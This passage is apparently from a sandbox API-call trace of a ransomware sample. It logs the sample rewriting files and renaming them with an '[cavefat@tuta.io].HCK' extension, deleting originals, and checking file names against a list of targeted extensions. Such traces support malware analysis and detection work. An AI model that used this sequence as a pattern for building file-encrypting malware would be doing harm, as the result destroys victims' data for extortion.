shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe")) returned 0x20 [0164.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0164.610] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id-b4197730.[cavefat@tuta.io].hck")) returned 1 [0164.611] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0164.611] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc64 | out: lpNewFilePointer=0x0) returned 1 [0164.611] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc24 | out: lpNewFilePointer=0x0) returned 1 [0164.611] ReadFile (in: hFile=0x3ac, lpBuffer=0x35e8058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2acfc30, lpOverlapped=0x0 | out: lpBuffer=0x35e8058*, lpNumberOfBytesRead=0x2acfc30*=0x40000, lpOverlapped=0x0) returned 1 [0164.614] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x1e5acd, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc24 | out: lpNewFilePointer=0x0) returned 1 [0164.614] ReadFile (in: hFile=0x3ac, lpBuffer=0x3628058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2acfc30, lpOverlapped=0x0 | out: lpBuffer=0x3628058*, lpNumberOfBytesRead=0x2acfc30*=0x40000, lpOverlapped=0x0) returned 1 [0164.624] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2acfc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.624] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x571068, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc24 | out: lpNewFilePointer=0x0) returned 1 [0164.624] ReadFile (in: hFile=0x3ac, lpBuffer=0x3668058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2acfc30, lpOverlapped=0x0 | out: lpBuffer=0x3668058*, lpNumberOfBytesRead=0x2acfc30*=0x40000, lpOverlapped=0x0) returned 1 [0164.639] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0164.639] WriteFile (in: hFile=0x3ac, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x2acfca8, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfca8*=0xc0112, lpOverlapped=0x0) returned 1 [0164.651] SetEndOfFile (hFile=0x3ac) returned 1 [0164.651] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x40000) returned 0x3da5ff0 [0165.030] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc74 | out: lpNewFilePointer=0x0) returned 1 [0165.030] WriteFile (in: hFile=0x3ac, lpBuffer=0x3da5ff0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2acfc80, lpOverlapped=0x0 | out: lpBuffer=0x3da5ff0*, lpNumberOfBytesWritten=0x2acfc80*=0x40000, lpOverlapped=0x0) returned 1 [0165.031] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x1e5acd, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc74 | out: lpNewFilePointer=0x0) returned 1 [0165.031] WriteFile (in: hFile=0x3ac, lpBuffer=0x3da5ff0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2acfc80, lpOverlapped=0x0 | out: lpBuffer=0x3da5ff0*, lpNumberOfBytesWritten=0x2acfc80*=0x40000, lpOverlapped=0x0) returned 1 [0165.035] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x571068, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc74 | out: lpNewFilePointer=0x0) returned 1 [0165.035] WriteFile (in: hFile=0x3ac, lpBuffer=0x3da5ff0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2acfc80, lpOverlapped=0x0 | out: lpBuffer=0x3da5ff0*, lpNumberOfBytesWritten=0x2acfc80*=0x40000, lpOverlapped=0x0) returned 1 [0165.036] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x3da5ff0 | out: hHeap=0x6b0000) returned 1 [0165.037] CloseHandle (hObject=0x3ac) returned 1 [0165.038] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0165.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0165.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0165.038] lstrlenW (lpString=".doc") returned 4 [0165.038] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0165.038] lstrlenW (lpString=".docx") returned 5 [0165.038] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0165.038] lstrlenW (lpString=".pdf") returned 4 [0165.038] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0165.038] lstrlenW (lpString=".xls") returned 4 [0165.038] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0165.038] lstrlenW (lpString=".xlsx") returned 5 [0165.038] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0165.038] lstrlenW (lpString=".ppt") returned 4 [0165.038] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0165.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0165.038] lstrlenW (lpString=".zip") returned 4 [0165.038] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0165.038] lstrlenW (lpString=".rar") returned 4 [0165.038] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0165.038] lstrlenW (lpString=".bz2") returned 4 [0165.038] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0165.038] lstrlenW (lpString=".7z") returned 3 [0165.038] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0165.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0165.038] lstrlenW (lpString=".dbf") returned 4 [0165.038] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0165.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0165.038] lstrlenW (lpString=".1cd") returned 4 [0165.038] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0165.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0165.038] lstrlenW (lpString=".jpg") returned 4 [0165.038] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0165.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0165.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0165.038] lstrlenW (lpString=".doc") returned 4 [0165.038] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0165.038] lstrlenW (lpString=".docx") returned 5 [0165.038] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0165.038] lstrlenW (lpString=".pdf") returned 4 [0165.039] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0165.039] lstrlenW (lpString=".xls") returned 4 [0165.039] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0165.039] lstrlenW (lpString=".xlsx") returned 5 [0165.039] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0165.039] lstrlenW (lpString=".ppt") returned 4 [0165.039] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0165.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0165.039] lstrlenW (lpString=".zip") returned 4 [0165.039] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0165.039] lstrlenW (lpString=".rar") returned 4 [0165.039] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0165.039] lstrlenW (lpString=".bz2") returned 4 [0165.039] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0165.039] lstrlenW (lpString=".7z") returned 3 [0165.039] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0165.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0165.039] lstrlenW (lpString=".dbf") returned 4 [0165.039] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0165.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0165.039] lstrlenW (lpString=".1cd") returned 4 [0165.039] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0165.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0165.039] lstrlenW (lpString=".jpg") returned 4 [0165.039] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0165.039] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0165.039] lstrlenW (lpString="ucrtbase.dll") returned 12 [0165.039] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0165.040] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=982720) returned 1 [0165.040] CloseHandle (hObject=0x3ac) returned 1 [0165.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll")) returned 0x20 [0165.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.040] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0165.040] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.040] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.040] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0165.041] GetLastError () returned 0x0 [0165.041] ReadFile (in: hFile=0x3ac, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0xefec0, lpOverlapped=0x0) returned 1 [0165.059] WriteFile (in: hFile=0x330, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0xefed0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0xefed0, lpOverlapped=0x0) returned 1 [0165.070] ReadFile (in: hFile=0x3ac, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0165.070] WriteFile (in: hFile=0x330, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0165.070] SetEndOfFile (hFile=0x330) returned 1 [0165.070] CloseHandle (hObject=0x330) returned 1 [0165.070] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.070] SetEndOfFile (hFile=0x3ac) returned 1 [0165.344] CloseHandle (hObject=0x3ac) returned 1 [0165.344] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0165.426] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll")) returned 1 [0165.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0165.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0165.426] lstrlenW (lpString=".doc") returned 4 [0165.426] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0165.426] lstrlenW (lpString=".docx") returned 5 [0165.426] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0165.426] lstrlenW (lpString=".pdf") returned 4 [0165.426] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0165.426] lstrlenW (lpString=".xls") returned 4 [0165.426] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0165.426] lstrlenW (lpString=".xlsx") returned 5 [0165.426] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0165.426] lstrlenW (lpString=".ppt") returned 4 [0165.426] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0165.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0165.426] lstrlenW (lpString=".zip") returned 4 [0165.426] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0165.426] lstrlenW (lpString=".rar") returned 4 [0165.426] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0165.426] lstrlenW (lpString=".bz2") returned 4 [0165.426] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0165.426] lstrlenW (lpString=".7z") returned 3 [0165.426] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0165.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0165.427] lstrlenW (lpString=".dbf") returned 4 [0165.427] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0165.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0165.427] lstrlenW (lpString=".1cd") returned 4 [0165.427] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0165.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0165.427] lstrlenW (lpString=".jpg") returned 4 [0165.427] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0165.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0165.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0165.427] lstrlenW (lpString=".doc") returned 4 [0165.427] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0165.427] lstrlenW (lpString=".docx") returned 5 [0165.427] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0165.427] lstrlenW (lpString=".pdf") returned 4 [0165.427] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0165.427] lstrlenW (lpString=".xls") returned 4 [0165.427] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0165.427] lstrlenW (lpString=".xlsx") returned 5 [0165.427] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0165.427] lstrlenW (lpString=".ppt") returned 4 [0165.427] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0165.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0165.427] lstrlenW (lpString=".zip") returned 4 [0165.427] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0165.427] lstrlenW (lpString=".rar") returned 4 [0165.427] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0165.427] lstrlenW (lpString=".bz2") returned 4 [0165.427] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0165.427] lstrlenW (lpString=".7z") returned 3 [0165.427] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0165.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0165.427] lstrlenW (lpString=".dbf") returned 4 [0165.427] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0165.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0165.427] lstrlenW (lpString=".1cd") returned 4 [0165.427] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0165.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70 [0165.427] lstrlenW (lpString=".jpg") returned 4 [0165.427] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0165.428] lstrcmpiW (lpString1=".mui", lpString2=".HCK") returned 1 [0165.428] lstrlenW (lpString="InputPersonalization.exe.mui") returned 28 [0165.428] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0165.443] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=3072) returned 1 [0165.443] CloseHandle (hObject=0x394) returned 1 [0165.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui")) returned 0x20 [0165.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.453] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0165.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0165.453] lstrlenW (lpString=".doc") returned 4 [0165.453] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0165.453] lstrlenW (lpString=".docx") returned 5 [0165.453] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0165.453] lstrlenW (lpString=".pdf") returned 4 [0165.453] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0165.453] lstrlenW (lpString=".xls") returned 4 [0165.454] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0165.454] lstrlenW (lpString=".xlsx") returned 5 [0165.454] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0165.454] lstrlenW (lpString=".ppt") returned 4 [0165.454] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0165.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0165.454] lstrlenW (lpString=".zip") returned 4 [0165.454] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0165.454] lstrlenW (lpString=".rar") returned 4 [0165.454] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0165.454] lstrlenW (lpString=".bz2") returned 4 [0165.454] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0165.454] lstrlenW (lpString=".7z") returned 3 [0165.454] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0165.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0165.454] lstrlenW (lpString=".dbf") returned 4 [0165.454] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0165.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0165.454] lstrlenW (lpString=".1cd") returned 4 [0165.454] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0165.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0165.454] lstrlenW (lpString=".jpg") returned 4 [0165.454] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0165.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0165.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0165.454] lstrlenW (lpString=".doc") returned 4 [0165.454] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0165.454] lstrlenW (lpString=".docx") returned 5 [0165.454] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0165.454] lstrlenW (lpString=".pdf") returned 4 [0165.454] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0165.454] lstrlenW (lpString=".xls") returned 4 [0165.454] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0165.454] lstrlenW (lpString=".xlsx") returned 5 [0165.454] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0165.454] lstrlenW (lpString=".ppt") returned 4 [0165.454] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0165.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0165.454] lstrlenW (lpString=".zip") returned 4 [0165.454] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0165.454] lstrlenW (lpString=".rar") returned 4 [0165.454] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0165.454] lstrlenW (lpString=".bz2") returned 4 [0165.454] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0165.454] lstrlenW (lpString=".7z") returned 3 [0165.455] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0165.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0165.455] lstrlenW (lpString=".dbf") returned 4 [0165.455] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0165.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0165.455] lstrlenW (lpString=".1cd") returned 4 [0165.455] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0165.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0165.455] lstrlenW (lpString=".jpg") returned 4 [0165.455] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0165.455] lstrcmpiW (lpString1=".mui", lpString2=".HCK") returned 1 [0165.455] lstrlenW (lpString="mip.exe.mui") returned 11 [0165.455] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0165.460] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=10752) returned 1 [0165.460] CloseHandle (hObject=0x354) returned 1 [0165.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui")) returned 0x20 [0165.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.464] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68 [0165.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68 [0165.473] lstrlenW (lpString=".doc") returned 4 [0165.473] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0165.473] lstrlenW (lpString=".docx") returned 5 [0165.473] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0165.473] lstrlenW (lpString=".pdf") returned 4 [0165.473] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0165.473] lstrlenW (lpString=".xls") returned 4 [0165.473] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0165.473] lstrlenW (lpString=".xlsx") returned 5 [0165.473] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0165.473] lstrlenW 